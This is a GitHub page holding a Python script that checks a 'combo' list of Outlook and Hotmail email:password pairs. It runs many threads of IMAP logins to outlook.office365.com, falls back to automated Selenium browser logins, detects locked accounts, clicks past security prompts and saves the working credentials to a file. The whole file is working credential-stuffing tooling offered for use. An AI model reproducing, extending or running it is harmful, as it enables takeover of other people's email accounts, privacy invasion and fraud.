-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathIMAPCleaner.py
224 lines (212 loc) · 9.35 KB
/
IMAPCleaner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
import imaplib
from colorama import Fore, init
import sys
from concurrent.futures import ThreadPoolExecutor
from threading import current_thread
import os
from os import system
import warnings
from time import sleep, time
from datetime import timedelta
from threading import Thread
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
system(f"title {os.path.basename(__file__)[:-3]}")
warnings.filterwarnings("ignore")
init(convert=True)
CERROR = Fore.RED
CWARNING = Fore.YELLOW
CSUCCESS = Fore.LIGHTGREEN_EX
CNEUTRAL = Fore.WHITE
CTHREAD = Fore.CYAN
max_workers = 10
max_tries = 3
cleaned = []
completed = 0
working = 0
failed_login = 0
failed_locked = 0
failed_select = 0
def stats():
while queue == True:
system(f"title {os.path.basename(__file__)[:-3]} - Tasks: {completed}/{len(cleaned_combo)} ^| Working: {working} ^| Locked: {failed_locked} ^| Login: {failed_login} ^| Select: {failed_select} ^| Time: {str(timedelta(seconds=(time() - start_time))).split('.')[0]}")
sleep(0.01)
def check_imap(line):
global cleaned
global completed
global working
global failed_login
global failed_locked
global failed_select
thread_number = int(current_thread().name.split('_')[1])+1
if thread_number < 10:
thread_number = "0" + str(thread_number)
email_address = line.split(":")[0]
password = line.split(":")[1]
logged_in = False
for i in range(max_tries):
imap = imaplib.IMAP4_SSL("outlook.office365.com")
try:
imap.login(email_address, password)
except:
print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Couldn't login at try [{i+1}]: [{email_address}], retrying...")
sleep(1)
else:
logged_in = True
break
if logged_in == False:
try:
options = webdriver.ChromeOptions()
options.add_argument("--lang=en")
options.add_argument("--mute-audio")
options.add_experimental_option('excludeSwitches', ['enable-logging'])
driver = webdriver.Chrome("./data/chromedriver.exe", options=options)
driver.get("https://outlook.live.com/owa/?nlp=1")
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0116"))).send_keys(email_address)
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click()
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0118"))).send_keys(password)
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click()
start_time = time()
locked = False
while True:
if "Your account has been locked" in driver.page_source:
locked = True
break
elif (time() - start_time) >= 15:
break
driver.quit()
if locked == True:
print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Account locked: [{email_address}], moving on...")
with open(f"{combo_name}-failed_locked.txt", "a+") as file:
file.write(f"{line}\n")
failed_locked += 1
completed += 1
else:
print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't login: [{email_address}], moving on...")
with open(f"{combo_name}-failed_login.txt", "a+") as file:
file.write(f"{line}\n")
failed_login += 1
completed += 1
except:
print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't login: [{email_address}], moving on...")
with open(f"{combo_name}-failed_login.txt", "a+") as file:
file.write(f"{line}\n")
failed_login += 1
completed += 1
else:
try:
imap.select("Inbox")
except:
print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Couldn't select: [{email_address}], trying to fix...")
fixed = False
try:
options = webdriver.ChromeOptions()
options.add_argument("--lang=en")
options.add_argument("--mute-audio")
options.add_experimental_option('excludeSwitches', ['enable-logging'])
driver = webdriver.Chrome("./data/chromedriver.exe", options=options)
driver.get("https://outlook.live.com/owa/?nlp=1")
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0116"))).send_keys(email_address)
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click()
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "i0118"))).send_keys(password)
WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.ID, "idSIButton9"))).click()
click_start_time = time()
while True:
if "Mail" in driver.title:
fixed = True
sleep(5)
break
elif (time() - click_start_time) >= 30:
break
try:
driver.find_element(By. ID, "idBtn_Back").click()
except:
pass
try:
driver.find_element(By. ID, "iShowSkip").click()
except:
pass
try:
driver.find_element(By. ID, "iCancel").click()
except:
pass
driver.quit()
except:
print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't select: [{email_address}], moving on...")
with open(f"{combo_name}-failed_select.txt", "a+") as file:
file.write(f"{line}\n")
failed_select += 1
completed += 1
else:
if fixed == True:
now_working = False
for i in range(20):
try:
imap = imaplib.IMAP4_SSL("outlook.office365.com")
imap.login(email_address, password)
imap.select("Inbox")
except:
print(f"{CTHREAD}[Thread {thread_number}] {CWARNING}[WARNING] Couldn't select after fix at try [{i+1}]: [{email_address}], retrying...")
sleep(2)
else:
now_working = True
break
if now_working == True:
print(f"{CTHREAD}[Thread {thread_number}] {CSUCCESS}[SUCCESS] Fully working: [{email_address}]")
cleaned.append(line)
working += 1
completed += 1
else:
print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't select after fix: [{email_address}], moving on...")
with open(f"{combo_name}-failed_select.txt", "a+") as file:
file.write(f"{line}\n")
failed_select += 1
completed += 1
else:
print(f"{CTHREAD}[Thread {thread_number}] {CERROR}[ERROR] Couldn't fix: [{email_address}], moving on...")
with open(f"{combo_name}-failed_select.txt", "a+") as file:
file.write(f"{line}\n")
failed_select += 1
completed += 1
else:
print(f"{CTHREAD}[Thread {thread_number}] {CSUCCESS}[SUCCESS] Fully working: [{email_address}]")
cleaned.append(line)
working += 1
completed += 1
combo_name = input("Enter name of created combo: ")
try:
with open(f"{combo_name}.txt", "r") as f:
combo = f.read().splitlines()
cleaned_combo = []
for i, line in enumerate(combo):
try:
email_address = line.split(":")[0]
password = line.split(":")[1]
if "@outlook.com" in email_address or "@hotmail.com" in email_address:
cleaned_combo.append(line)
else:
print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]")
except:
print(f"{CWARNING}[WARNING] Line {i+1} is incorrect: [{''.join(line)}]")
print(f"{CSUCCESS}[SUCCESS] Successfully read combo, correct lines: [{len(cleaned_combo)}/{len(combo)}]")
except:
input(f"{CERROR}[ERROR] Couldn't read combo, press ENTER to close...")
sys.exit()
queue = True
start_time = time()
Thread(target=stats).start()
Pool = ThreadPoolExecutor(max_workers=max_workers)
for i, line in enumerate(cleaned_combo):
Pool.submit(check_imap, line)
if i < max_workers:
sleep(0.1)
Pool.shutdown(wait=True)
if not cleaned == []:
with open(f"{combo_name}-cleaned.txt", "a+") as file:
for line in cleaned:
file.write(f"{line}\n")
sleep(0.1)
queue = False
input(f"{CSUCCESS}Successfully completed all tasks, press ENTER to close...")